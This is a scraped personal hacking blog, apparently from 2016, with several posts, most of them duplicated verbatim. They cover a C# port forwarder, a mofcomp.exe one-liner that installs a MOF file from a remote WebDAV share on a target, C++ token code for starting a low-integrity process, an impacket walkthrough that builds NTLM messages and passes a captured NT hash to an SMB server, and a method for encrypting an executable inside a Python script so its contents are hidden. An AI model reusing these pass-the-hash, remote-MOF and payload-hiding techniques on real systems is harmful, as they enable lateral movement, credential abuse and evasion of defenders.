I would love more than anything to make a nice long winded post about POTato, as I'm sure its all the rage rite now. I mean whats not to like about it, well I guess if your Microsoft there might be a reason, but I think they should just suck it up and learn the lesson... tssk tssk! Regardless I might decide to do one sometime soon or get a talk together as there is a lot more to it than most realize.
Sometimes the simplest things are the answer!
I felt like atleast mentioning it because that's why I decided to make this little post in the first place "its written in c#". I honestly sat last night for a hour trying to think of something to write about, and then it came to me. Why not start a gender-bender in c# and since a friend has been giving me little nudges to learn the language I eventually decided to give it a go. Personally I think its way easier to learn than c++ so i might just make the switch.
Enough of the introduction, lets get down to business, I really dont know enough to even tell you what Classes, are etc etc but I'm going to tell you the most basic way to make a forwarder, then you can look at the code and see how I did it. Ill eventually update it and add some more error checking and options as its Extremely useful!
A simple gender-beder or port forwarder goes like this.
SudoCode aka not in c#
sock1 = listen(ip, port) //listen ip and port
when sock1.connects // block until something connects
sock2 = connect(ip, port) // when it does connect to second host
thread1 = relay(sock1, sock2) // spawn relay thread1
thread2 = relay(sock2, sock1) // spawn relay thread2
// we just reuse the same relay "function"
relay(sock-a, sock-b)
data = sock-a.read // read from socket
sock-b.write(data) // write to socket
That's it, I mean really that's all there is to the game.. you cant get any simpler in my opinion. Sure you can do error checking and whatever else you want, but you are ALWAYS going to come back to this.
Listen(Port:IP) <===> App <===> Connect(Port:IP)
You can even Gender-Bend it, as rather than listen you can make the first connection outbound.
Connect1(Port:IP) <===> App <===> Connect2(Port:IP)
You can also do something really interesting if you put 1 more connection into the mix and spawn a few more threads. I like to call it the 3-way, and who doesn't like one of those!
Connect1(Port:IP) <===> App <===> Connect2(Port:IP)
^
||
v
Connect3(Port:IP)
Now not only can you mirror anything but you can also write to both connect 1 and 2.... let that sink in for a bit!
Anyways lets get back to c# as that was the reason of this in the first place. Knowing the simple knowledge above I managed to make something in less than a few hours having never used c# before.
You can check it out here https://github.com/trump0dump/helpful/blob/master/port_redir.cs it comes in under 70lines with some simple error checking. I got sick and tired of dealing with windows crash reporter ;)
Oh and before you go, dont forget, you DONT need Visual Studio to compile this! I guarantee your windows box has everything you need. Just do this, atleast for Win7+
cd C:\Windows\Microsoft.NET\Framework\v4*
csc.exe /out:"C:\Users\YOU\port_redir.exe" /platform:x86 "C:\Users\YOU\port_redir.cs"
Enjoy and have fun!
Pages
▼
Sunday, January 31, 2016
Monday, January 25, 2016
mofcomp.exe Is A Gender Bender...
I dont exactly have time this week to make a real detailed post, I have been doing a lot with Metasploit and its been really fun. One of the things that came to my attention is that the mof module does not compile for you. That means it wont work on anything really other than XP.
I dont exactly have the expertise to go about writing a bare compiler on my own, although I might be able to find one for Ruby already made, or maybe import one from python. Regardless the way around this is to simply use mofcomp.exe on the target computer :)
There is one other thing and its the fact that the generate_mof function in Metasploit actually takes a .exe which kind of sucks if you don't want to touch disk and be "opsec-safe". It got me thinking though that we could actually just put the exe on a WebDav share and load it directly from there as long as we changed our link in the generate_mof file, which should work.
Which made me instantly realize something and come up with this amazing little one liner, you can load a .mof file from a WebDav share, and since you can remotly install MOF files if the correct ports are open and you have permissions I give you this.
mofcomp.exe -N:"\\[install_comp]\root\cimv2" "\\serversomeplace@80\amazing.mof"
I tested and it appeared to work well, however you should note I did have the firewall turned off on the target box and I was logged in as domain admin on the middle box. Anyways, I thought it could be useful.
I dont exactly have the expertise to go about writing a bare compiler on my own, although I might be able to find one for Ruby already made, or maybe import one from python. Regardless the way around this is to simply use mofcomp.exe on the target computer :)
There is one other thing and its the fact that the generate_mof function in Metasploit actually takes a .exe which kind of sucks if you don't want to touch disk and be "opsec-safe". It got me thinking though that we could actually just put the exe on a WebDav share and load it directly from there as long as we changed our link in the generate_mof file, which should work.
Which made me instantly realize something and come up with this amazing little one liner, you can load a .mof file from a WebDav share, and since you can remotly install MOF files if the correct ports are open and you have permissions I give you this.
mofcomp.exe -N:"\\[install_comp]\root\cimv2" "\\serversomeplace@80\amazing.mof"
I tested and it appeared to work well, however you should note I did have the firewall turned off on the target box and I was logged in as domain admin on the middle box. Anyways, I thought it could be useful.
Monday, January 18, 2016
Starting A Low Integrity Process
So I have been learning c++, now granted I'm not very good at it but it's rather fun and since we have direct access to all of Microsofts API's it's perfect for vuln research. One of things that interested me was how easy it was to play around with tokens. I also had a hard time understanding the difference between integrity levels and what you could do with each. So I decided to steal some code from MS and put it all together. The end result is a pretty nifty exe you can use for testing and learning.
So how does all this work, well ill explain as much as I can.
The first thing we need to do is call OpenProcessToken, this is going to get the token that the current process is using. There is also OpenThreadToken but we don't need that for this example.
HANDLE Token; // This will be where our token is stored.
OpenProcessToken(GetCurrentProcess(),
TOKEN_DUPLICATE |
TOKEN_ADJUST_DEFAULT |
TOKEN_QUERY |
TOKEN_ASSIGN_PRIMARY,
&Token); //Pass it the handle so it returns.
Now we want to duplicate it, we are going to be changing the Sid to LowIntegrity and we don't want any issues.
HANDLE NewToken; // Our new token will be stored here.
DuplicateTokenEx(Token,
0,
NULL,
SecurityImpersonation,
TokenPrimary,
&NewToken); // Pass it the handle
Now we need to change the Sid to LowIntegrity, this is a predefined string that Microsoft has, there are tons of them and most are located here https://msdn.microsoft.com/en-us/library/cc980032.aspx but the main ones are.
S-1-16-4096 Low Mandatory Label
S-1-16-8192 Medium Mandatory Label
S-1-16-12288 High Mandatory Label
S-1-16-16384 System Mandatory Label
So lets go ahead and actually change the the level of our copied token! This part looks a little complicated but its fairly easy. We are just building all the parts so we can actually change it.
PSID pIntegritySid = NULL;
WCHAR wszIntegritySid[20] = L"S-1-16-4096"; // Low integrity SID
ConvertStringSidToSid(wszIntegritySid, &pIntegritySid); //You will need #include "sddl.h"
// This is the struct for setting our Mandatory label.
TOKEN_MANDATORY_LABEL TIL = { 0 };
TIL.Label.Attributes = SE_GROUP_INTEGRITY;
TIL.Label.Sid = pIntegritySid;
// We need the size when we pass it to SetTokenInformation
DWORD infolength = sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(pIntegritySid);
// And here we finally change the Sid to what we want on the new token.
SetTokenInformation(NewToken, TokenIntegrityLevel, &TIL, infolength);
The last part of this is just setting up the rest of the stuff we need to call CreateProcessAsUser.
PROCESS_INFORMATION ProcInfo = { 0 };
STARTUPINFO StartupInfo = { 0 };
WCHAR ProcessName[MAX_PATH] = L"C:\\Windows\\System32\\cmd.exe";
This is the final call and then we are done, all we are really doing is passing it our modified token and the process that we want to actually open!
CreateProcessAsUser(NewToken,
NULL,
ProcessName,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&StartupInfo,
&ProcInfo);
A few things to keep in mind, this all needs to be wrapped in a function deceleration and its not threaded.
In the code I'm using I added a extra little call to check what level the token was at before we duplicate and modify it. Then I check again once we call CreateProcessAsUser as you can see in the output. I uploaded it to github and you can check it out here https://github.com/trump0dump/helpful/blob/master/low_integrity.cpp, the end result looks something like this!
And you can check to see that its actually running as Low Integrity with ProcessExplorer
Enjoy and I should also mention that you can change the Sid and call it from a High process. Its not very useful but does help with understanding tokens and Integrity Levels :)
So how does all this work, well ill explain as much as I can.
The first thing we need to do is call OpenProcessToken, this is going to get the token that the current process is using. There is also OpenThreadToken but we don't need that for this example.
HANDLE Token; // This will be where our token is stored.
OpenProcessToken(GetCurrentProcess(),
TOKEN_DUPLICATE |
TOKEN_ADJUST_DEFAULT |
TOKEN_QUERY |
TOKEN_ASSIGN_PRIMARY,
&Token); //Pass it the handle so it returns.
Now we want to duplicate it, we are going to be changing the Sid to LowIntegrity and we don't want any issues.
HANDLE NewToken; // Our new token will be stored here.
DuplicateTokenEx(Token,
0,
NULL,
SecurityImpersonation,
TokenPrimary,
&NewToken); // Pass it the handle
Now we need to change the Sid to LowIntegrity, this is a predefined string that Microsoft has, there are tons of them and most are located here https://msdn.microsoft.com/en-us/library/cc980032.aspx but the main ones are.
S-1-16-4096 Low Mandatory Label
S-1-16-8192 Medium Mandatory Label
S-1-16-12288 High Mandatory Label
S-1-16-16384 System Mandatory Label
So lets go ahead and actually change the the level of our copied token! This part looks a little complicated but its fairly easy. We are just building all the parts so we can actually change it.
PSID pIntegritySid = NULL;
WCHAR wszIntegritySid[20] = L"S-1-16-4096"; // Low integrity SID
ConvertStringSidToSid(wszIntegritySid, &pIntegritySid); //You will need #include "sddl.h"
// This is the struct for setting our Mandatory label.
TOKEN_MANDATORY_LABEL TIL = { 0 };
TIL.Label.Attributes = SE_GROUP_INTEGRITY;
TIL.Label.Sid = pIntegritySid;
// We need the size when we pass it to SetTokenInformation
DWORD infolength = sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(pIntegritySid);
// And here we finally change the Sid to what we want on the new token.
SetTokenInformation(NewToken, TokenIntegrityLevel, &TIL, infolength);
The last part of this is just setting up the rest of the stuff we need to call CreateProcessAsUser.
PROCESS_INFORMATION ProcInfo = { 0 };
STARTUPINFO StartupInfo = { 0 };
WCHAR ProcessName[MAX_PATH] = L"C:\\Windows\\System32\\cmd.exe";
This is the final call and then we are done, all we are really doing is passing it our modified token and the process that we want to actually open!
CreateProcessAsUser(NewToken,
NULL,
ProcessName,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&StartupInfo,
&ProcInfo);
A few things to keep in mind, this all needs to be wrapped in a function deceleration and its not threaded.
In the code I'm using I added a extra little call to check what level the token was at before we duplicate and modify it. Then I check again once we call CreateProcessAsUser as you can see in the output. I uploaded it to github and you can check it out here https://github.com/trump0dump/helpful/blob/master/low_integrity.cpp, the end result looks something like this!
And you can check to see that its actually running as Low Integrity with ProcessExplorer
Enjoy and I should also mention that you can change the Sid and call it from a High process. Its not very useful but does help with understanding tokens and Integrity Levels :)
Sunday, January 10, 2016
SMB2 Reflection with Impacket... or passing your own hashes/blobs
I
have been really busy with life and stuff, add to that the fact im
attempting to learn c++ to further my exploit dev skills and my time is
almost non existent. However I wanted to take a step back and expand on
using impacket a little more. It can be VERY useful in special
situations. So lets take a closer look.
Last time we discussed how to make your own connection, this time we will be getting even deeper and making/passing our own hashes. Anyways lets get right down to it shall we!
For the example we are going to build our own hashes rather than reflect/pass them, but if you wanted to you could setup a webdav server and relay them ;)
Lets do our imports:
from impacket.smbconnection import *
from impacket.ntlm import * #for building our hashes
from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
Start building our basic packet structure for hash1:
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
Build our own hash1:
hash1 = getNTLMSSPType1(signingRequired = True)
#Note that the impacket structure is actually NTLMAuthNegotiate()
We can dump it to see whats inside for debugging:
hash1.dump()
Now if we are reflecting this we need to make sure that message Signing is not one of the included flags. So lets test that and if it is there we can remove it, also you most likely captured the hash1 and are imputing it as a string so lets get it into a impacket structure. I should also not this is not required, you can always use your own hash1 and simple replay/reflect the hash2 and hash3
First put it in a structure we can use since it is probably a string:
h1 = NTLMAuthNegotiate()
h1.fromString(str(hash1))
Test our hash1 for a flag:
#You can test all the hashes this way
False if (h1['flags'] & NTLMSSP_SIGN) == 0 else True
It should have returned True so lets remove it:
h1['flags'] &= 0xffffffff ^ NTLMSSP_SIGN
... lol thats really really bad so lets add it back in:
h1['flags'] |= NTLMSSP_SIGN
Continue formatting our hash1 structure:
blob['MechToken'] = str(hash1)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
Now we can make our connection to the server:
#If doing this in a shell you have to be quick, there are timeouts involved.
con = SMBConnection('127.0.0.1', '127.0.0.1', preferredDialect=SMB2_DIALECT_002)
con.setTimeout(120)
This is when we need the lower level stuff:
low_level = con.getSMBServer()
Now we have to build a actual SMB packet:
packet = low_level.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
Our packet containing hash1 should be ready to go, as with most of the structures in impacket if you would like to check its contents you can use.
packet.dump()
And it should look something like this...
Ok so its time to send it off and get our hash2:
pid = low_level.sendSMB(packet)
resp = low_level.recvSMB(pid)
Before we continue note that we must MUST set our SessionID otherwise the rest of our calls won't work.
Set our SessionID:
low_level._Session['SessionID'] = resp['SessionID']
resp now contains our hash2 from the server, along with the entire rest of the packet, so to access it if we want to say replay it back to something, we need to get it into a usable format.
sessionSetupResponse = SMB2SessionSetup_Response(resp['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
hash2 = NTLMAuthChallenge()
hash2.fromString(respToken['ResponseToken'])
If we wanted to access the 8byte challenge:
hash2['challenge']
hash2.dump()
So now we are most of the way there, lets build our hash3 first. Remember you can skip this if you are just doing reflection or relay and use your own.
#This will return both the SessionKey along with hash3, if you have signing enable, set it, otherwise forget it ;) also note that the actual impacket structure is NTLMAuthChallengeResponse
hash3, seskey = getNTLMSSPType3(hash1, str(hash2), 'user', 'password', 'DOMAIN')
low_level. _Session['SessionKey'] = seskey
Or if you used mimikatz and grabbed the nthash you can use it like so!
from binascii import a2b_hex
nhash = a2b_hex('5a0d0336d04ae1031f2d36bd5bd0a759')
#You need to have the '' for password if you use a nthash
hash3, seskey = getNTLMSSPType3(hash1, str(hash2), 'admin_account', '', 'WORKGROUP', nthash=nhash)
Start the structure like before and input the hash3:
respToken = SPNEGO_NegTokenResp()
respToken['ResponseToken'] = str(hash3)
Finish the SMB structure:
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
sessionSetup['SecurityBufferLength'] = len(respToken)
sessionSetup['Buffer'] = respToken.getData()
Build the packet:
packet = low_level.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
And finally we send our hash3 and get the response:
pid = low_level.sendSMB(packet)
resp = low_level.recvSMB(pid)
If everything worked properly and you are watching along with Wireshark you should see something like this, which is what the standard NTLM Negotiation looks like.
and you should have Status Success... for the last Session Setup Response...
We can then use the higher level connection same as before to do whatever we want:
shares = con.listShares()
for n in shares:
n.dump()
That's about it, just remember your permissions on the box come into play and just because you can authenticate does not mean you can do something exploitable... ;)
I have also uploaded the code in this post to github https://github.com/trump0dump/helpful
Last time we discussed how to make your own connection, this time we will be getting even deeper and making/passing our own hashes. Anyways lets get right down to it shall we!
For the example we are going to build our own hashes rather than reflect/pass them, but if you wanted to you could setup a webdav server and relay them ;)
Lets do our imports:
from impacket.smbconnection import *
from impacket.ntlm import * #for building our hashes
from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
Start building our basic packet structure for hash1:
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
Build our own hash1:
hash1 = getNTLMSSPType1(signingRequired = True)
#Note that the impacket structure is actually NTLMAuthNegotiate()
We can dump it to see whats inside for debugging:
hash1.dump()
Now if we are reflecting this we need to make sure that message Signing is not one of the included flags. So lets test that and if it is there we can remove it, also you most likely captured the hash1 and are imputing it as a string so lets get it into a impacket structure. I should also not this is not required, you can always use your own hash1 and simple replay/reflect the hash2 and hash3
First put it in a structure we can use since it is probably a string:
h1 = NTLMAuthNegotiate()
h1.fromString(str(hash1))
Test our hash1 for a flag:
#You can test all the hashes this way
False if (h1['flags'] & NTLMSSP_SIGN) == 0 else True
It should have returned True so lets remove it:
h1['flags'] &= 0xffffffff ^ NTLMSSP_SIGN
... lol thats really really bad so lets add it back in:
h1['flags'] |= NTLMSSP_SIGN
Continue formatting our hash1 structure:
blob['MechToken'] = str(hash1)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
Now we can make our connection to the server:
#If doing this in a shell you have to be quick, there are timeouts involved.
con = SMBConnection('127.0.0.1', '127.0.0.1', preferredDialect=SMB2_DIALECT_002)
con.setTimeout(120)
This is when we need the lower level stuff:
low_level = con.getSMBServer()
Now we have to build a actual SMB packet:
packet = low_level.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
Our packet containing hash1 should be ready to go, as with most of the structures in impacket if you would like to check its contents you can use.
packet.dump()
And it should look something like this...
Ok so its time to send it off and get our hash2:
pid = low_level.sendSMB(packet)
resp = low_level.recvSMB(pid)
Before we continue note that we must MUST set our SessionID otherwise the rest of our calls won't work.
Set our SessionID:
low_level._Session['SessionID'] = resp['SessionID']
resp now contains our hash2 from the server, along with the entire rest of the packet, so to access it if we want to say replay it back to something, we need to get it into a usable format.
sessionSetupResponse = SMB2SessionSetup_Response(resp['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
hash2 = NTLMAuthChallenge()
hash2.fromString(respToken['ResponseToken'])
If we wanted to access the 8byte challenge:
hash2['challenge']
hash2.dump()
So now we are most of the way there, lets build our hash3 first. Remember you can skip this if you are just doing reflection or relay and use your own.
#This will return both the SessionKey along with hash3, if you have signing enable, set it, otherwise forget it ;) also note that the actual impacket structure is NTLMAuthChallengeResponse
hash3, seskey = getNTLMSSPType3(hash1, str(hash2), 'user', 'password', 'DOMAIN')
low_level. _Session['SessionKey'] = seskey
Or if you used mimikatz and grabbed the nthash you can use it like so!
from binascii import a2b_hex
nhash = a2b_hex('5a0d0336d04ae1031f2d36bd5bd0a759')
#You need to have the '' for password if you use a nthash
hash3, seskey = getNTLMSSPType3(hash1, str(hash2), 'admin_account', '', 'WORKGROUP', nthash=nhash)
Start the structure like before and input the hash3:
respToken = SPNEGO_NegTokenResp()
respToken['ResponseToken'] = str(hash3)
Finish the SMB structure:
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
sessionSetup['SecurityBufferLength'] = len(respToken)
sessionSetup['Buffer'] = respToken.getData()
Build the packet:
packet = low_level.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
And finally we send our hash3 and get the response:
pid = low_level.sendSMB(packet)
resp = low_level.recvSMB(pid)
If everything worked properly and you are watching along with Wireshark you should see something like this, which is what the standard NTLM Negotiation looks like.
and you should have Status Success... for the last Session Setup Response...
We can then use the higher level connection same as before to do whatever we want:
shares = con.listShares()
for n in shares:
n.dump()
That's about it, just remember your permissions on the box come into play and just because you can authenticate does not mean you can do something exploitable... ;)
I have also uploaded the code in this post to github https://github.com/trump0dump/helpful
Monday, January 4, 2016
Encode a exe in a python script... this is something I really wanted to be able to do a few months ago and couldn't figure out quickly. It didn't seem like there was allot of info out there so I thought this could be something worth sharing. It turns out doing this is incredibly easy!
So first we have a exe, for arguments sake lets say its streams.exe from the sysinternals suite. We want to put this in a script so that we can use it on any computer we manage to get our python onto.
Lets start by importing base64 as this is how we are going to encode it in our script.
import base64
Now we need to open the file and read the raw binary data "thats the rb in the open command"
f = open('streams.exe', 'rb')
raw_data = f.read()
f.close()
Now that we have the raw data lets base64 encode it.
b64_data = base64.b64encode(raw_data)
And thats really all there is to it we can now use something like this in our script.
b64_data = """AAAA..ETC"""
Writing it back to a file is as simple as this.
raw_data = base64.b64decode(b64_text)
f.open('new_streams.exe', 'wb')
f.write(raw_data)
f.close()
So lets take this one step further, say we wanted to encrypt this exe so that not many people could figure out what exactly it is. Now to generate a key for the encryption I'm going to actually hash a webpage. If something happened or if I want it to error out I simply change the page by 1 letter and it will fail on extraction! This has the added benefit of me being able to see who connects and I can even write a script to change my webpage the first connect.
First we need to import some things, also note that you might have to compile Crypto.
import base64
import hashlib
import urllib2
from Crypto.Cipher import AES
from Crypto import Random
Ok so lets get a hash of a webpage, google isn't a good choice but well use it for this anyway.
resp = urllib2.urlopen('http://www.google.com')
html = resp.read()
Now lets hash that page
key = hashlib.sha256(html).digest()
Now that we have our hash/key we need to encrypt it for this we will use AES_CBC however it needs a blocksize of 16 so we have to pad our data. Thats not a issue because we can simply strip it off after the decryption.
length = 16 - (len(b64_data) % 16)
b64_data += '{' * length
And here we do the actual encryption and then base64 the output so we can include it in a script just like before.
iv = "\x00" * 16
e = AES.new(key, AES.MODE_CBC, iv)
enc_data = base64.b64encode(e.encrypt(b64_data))
Then we can encode it in our script like so.
enc_data = """AAAA..ETC"""
That's it, now to reverse that when we want, we just hash the webpage and use it as a key, strip off the padding, base64decode the data, then write it to a file.
# assuming we have our key like above
e = AES.new(key, AES.MODE_CBC, iv)
data = base64.b64decode(enc_data)
ndata = e.decrypt(data)
data = base64.b64decode(ndata.rstrip('{'))
Super simple and pretty cool, now all we need is a way to inject that into memory rather than write it to disk.... ;)
I'm putting a "helper" script up on my github if you want to check it out https://github.com/trump0dump/helpful
So first we have a exe, for arguments sake lets say its streams.exe from the sysinternals suite. We want to put this in a script so that we can use it on any computer we manage to get our python onto.
Lets start by importing base64 as this is how we are going to encode it in our script.
import base64
Now we need to open the file and read the raw binary data "thats the rb in the open command"
f = open('streams.exe', 'rb')
raw_data = f.read()
f.close()
Now that we have the raw data lets base64 encode it.
b64_data = base64.b64encode(raw_data)
And thats really all there is to it we can now use something like this in our script.
b64_data = """AAAA..ETC"""
Writing it back to a file is as simple as this.
raw_data = base64.b64decode(b64_text)
f.open('new_streams.exe', 'wb')
f.write(raw_data)
f.close()
So lets take this one step further, say we wanted to encrypt this exe so that not many people could figure out what exactly it is. Now to generate a key for the encryption I'm going to actually hash a webpage. If something happened or if I want it to error out I simply change the page by 1 letter and it will fail on extraction! This has the added benefit of me being able to see who connects and I can even write a script to change my webpage the first connect.
First we need to import some things, also note that you might have to compile Crypto.
import base64
import hashlib
import urllib2
from Crypto.Cipher import AES
from Crypto import Random
Ok so lets get a hash of a webpage, google isn't a good choice but well use it for this anyway.
resp = urllib2.urlopen('http://www.google.com')
html = resp.read()
Now lets hash that page
key = hashlib.sha256(html).digest()
Now that we have our hash/key we need to encrypt it for this we will use AES_CBC however it needs a blocksize of 16 so we have to pad our data. Thats not a issue because we can simply strip it off after the decryption.
length = 16 - (len(b64_data) % 16)
b64_data += '{' * length
And here we do the actual encryption and then base64 the output so we can include it in a script just like before.
iv = "\x00" * 16
e = AES.new(key, AES.MODE_CBC, iv)
enc_data = base64.b64encode(e.encrypt(b64_data))
Then we can encode it in our script like so.
enc_data = """AAAA..ETC"""
That's it, now to reverse that when we want, we just hash the webpage and use it as a key, strip off the padding, base64decode the data, then write it to a file.
# assuming we have our key like above
e = AES.new(key, AES.MODE_CBC, iv)
data = base64.b64decode(enc_data)
ndata = e.decrypt(data)
data = base64.b64decode(ndata.rstrip('{'))
Super simple and pretty cool, now all we need is a way to inject that into memory rather than write it to disk.... ;)
I'm putting a "helper" script up on my github if you want to check it out https://github.com/trump0dump/helpful